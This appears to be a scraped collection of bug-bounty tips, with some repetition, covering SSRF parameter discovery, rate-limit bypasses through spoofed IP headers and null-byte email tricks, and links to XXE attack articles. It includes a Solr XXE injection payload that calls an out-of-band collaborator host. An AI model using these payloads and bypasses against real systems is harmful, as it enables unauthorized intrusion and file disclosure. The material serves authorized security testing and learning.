Fetch known URLs from AlienVault's Open Threat Exchange, the Wayback Machine, and Common Crawl and Filter Urls With OpenRedirection or SSRF Parameters.
https://twitter.com/patelkathan22/status/1246292607996551168
https://twitter.com/patelkathan22/status/1246292607996551168
Twitter
Kathan patel
Made a tool to find parameters for SSRF. inspired by @ngkogkos post. https://t.co/0P6lFbmUgK It will enumerate subdomains and get urls of this subdomains using gau and will filter-out parameters which contain urls. #bugbounty #bugbountytips #bugbountytip
Udit Bhadauria (Hackcura) (@udit_thakkur) Tweeted:
Rate limit bypass:
Add header/s with request
X-Originating-IP: IP
X-Forwarded-For: IP
X-Remote-IP: IP
X-Remote-Addr: IP
X-Client-IP: IP
X-Host: IP
X-Forwared-Host: IP
If bypass successful, & after a while blocking request again. Increment the last octate
#infosec #bugbountytip https://twitter.com/udit_thakkur/status/1241832273898430464?s=20
Rate limit bypass:
Add header/s with request
X-Originating-IP: IP
X-Forwarded-For: IP
X-Remote-IP: IP
X-Remote-Addr: IP
X-Client-IP: IP
X-Host: IP
X-Forwared-Host: IP
If bypass successful, & after a while blocking request again. Increment the last octate
#infosec #bugbountytip https://twitter.com/udit_thakkur/status/1241832273898430464?s=20
Twitter
Udit Bhadauria (Hackcura)
Rate limit bypass: Add header/s with request X-Originating-IP: IP X-Forwarded-For: IP X-Remote-IP: IP X-Remote-Addr: IP X-Client-IP: IP X-Host: IP X-Forwared-Host: IP If bypass successful, & after a while blocking request again. Increment the last octate…
Wanna Bypass Rate Limit ? Try Bypass with adding null payload %00, %0d%0a, %09, %0C, %20, %0 on email.
Not Works ?
Just try adding "blank space" on the email, works!
https://twitter.com/harrmahar/status/1247306384128872448
Not Works ?
Just try adding "blank space" on the email, works!
https://twitter.com/harrmahar/status/1247306384128872448
Twitter
Harrmahar
Wanna Bypass Rate Limit ? Try Bypass with adding null payload %00, %0d%0a, %09, %0C, %20, %0 on email. Not Works ? Just try adding "blank space" on the email, works! Alhamdulillah, Allah has willed it to me to got this on a Private Program. This my second…
XXE Attacks— Part 1: XML Basics
https://medium.com/@klose7/https-medium-com-klose7-xxe-attacks-part-1-xml-basics-6fa803da9f26
XXE Attacks — Part 2: XML DTD related Attacks
https://medium.com/@klose7/xxe-attacks-part-2-xml-dtd-related-attacks-a572e8deb478
Exploiting XML External Entity (XXE) Injections
https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9
XML External Entity (XXE) Injection Payload List
https://medium.com/@ismailtasdelen/xml-external-entity-xxe-injection-payload-list-937d33e5e116
From blind XXE to root-level file read access
https://honoki.net/2018/12/12/from-blind-xxe-to-root-level-file-read-access/
External XML Entity via File Upload (SVG)
https://0xatul.me/posts/2020/02/external-xml-entity-via-file-upload-svg/
XML external entity (XXE) injection
https://portswigger.net/web-security/xxe
From XXE to RCE: Pwn2Win CTF 2018 Writeup
https://bookgin.tw/2018/12/04/from-xxe-to-rce-pwn2win-ctf-2018-writeup/
Some Tips :
----------------------------------------------------------------------
@huntmost [Twitter] :
see an apache solr GET/POST to /select ?
Set the 'q' parameter to the following for an XXE injection:
/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://collab.burp.net"><a></a>'}
- https://bit.ly/2US6fJT
[ - ] Tweet Link :[https://twitter.com/huntmost/status/1195507306919804928]
---------------------------------------------------------------------
@prateek_0490 [Twitter] :
Company fixed an XXE by blocking arbitrary URL(s) to grab an SVG? Try & bypass it by embedding the SVG using the Data URI protocol handler [data:image/svg+xml;base64,XXE_PAYLOAD], most of the time it would work!
[ - ] Tweet Link :
[https://twitter.com/prateek_0490/status/1046077319801184259]
-----------------------------------------------------------------------
XML External Entity(XXE) that can Bypass WAF Protection [ Blog ]
[ - ] [ https://bit.ly/2x5S76Y ]
------------------------------------------------------------------------
@EdOverflow [ Github ]
https://bit.ly/2Vh9lpF
-----------------------------------------------------------------------
@stokfredrik [ Twitter ]
https://twitter.com/stokfredrik/status/1117110458450886661
https://medium.com/@klose7/https-medium-com-klose7-xxe-attacks-part-1-xml-basics-6fa803da9f26
XXE Attacks — Part 2: XML DTD related Attacks
https://medium.com/@klose7/xxe-attacks-part-2-xml-dtd-related-attacks-a572e8deb478
Exploiting XML External Entity (XXE) Injections
https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9
XML External Entity (XXE) Injection Payload List
https://medium.com/@ismailtasdelen/xml-external-entity-xxe-injection-payload-list-937d33e5e116
From blind XXE to root-level file read access
https://honoki.net/2018/12/12/from-blind-xxe-to-root-level-file-read-access/
External XML Entity via File Upload (SVG)
https://0xatul.me/posts/2020/02/external-xml-entity-via-file-upload-svg/
XML external entity (XXE) injection
https://portswigger.net/web-security/xxe
From XXE to RCE: Pwn2Win CTF 2018 Writeup
https://bookgin.tw/2018/12/04/from-xxe-to-rce-pwn2win-ctf-2018-writeup/
Some Tips :
----------------------------------------------------------------------
@huntmost [Twitter] :
see an apache solr GET/POST to /select ?
Set the 'q' parameter to the following for an XXE injection:
/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://collab.burp.net"><a></a>'}
- https://bit.ly/2US6fJT
[ - ] Tweet Link :[https://twitter.com/huntmost/status/1195507306919804928]
---------------------------------------------------------------------
@prateek_0490 [Twitter] :
Company fixed an XXE by blocking arbitrary URL(s) to grab an SVG? Try & bypass it by embedding the SVG using the Data URI protocol handler [data:image/svg+xml;base64,XXE_PAYLOAD], most of the time it would work!
[ - ] Tweet Link :
[https://twitter.com/prateek_0490/status/1046077319801184259]
-----------------------------------------------------------------------
XML External Entity(XXE) that can Bypass WAF Protection [ Blog ]
[ - ] [ https://bit.ly/2x5S76Y ]
------------------------------------------------------------------------
@EdOverflow [ Github ]
https://bit.ly/2Vh9lpF
-----------------------------------------------------------------------
@stokfredrik [ Twitter ]
https://twitter.com/stokfredrik/status/1117110458450886661
Medium
XXE Attacks— Part 1: XML Basics
The importance of XML based vulnerabilities in web application security has given prominence. Part-1 is XML Basics.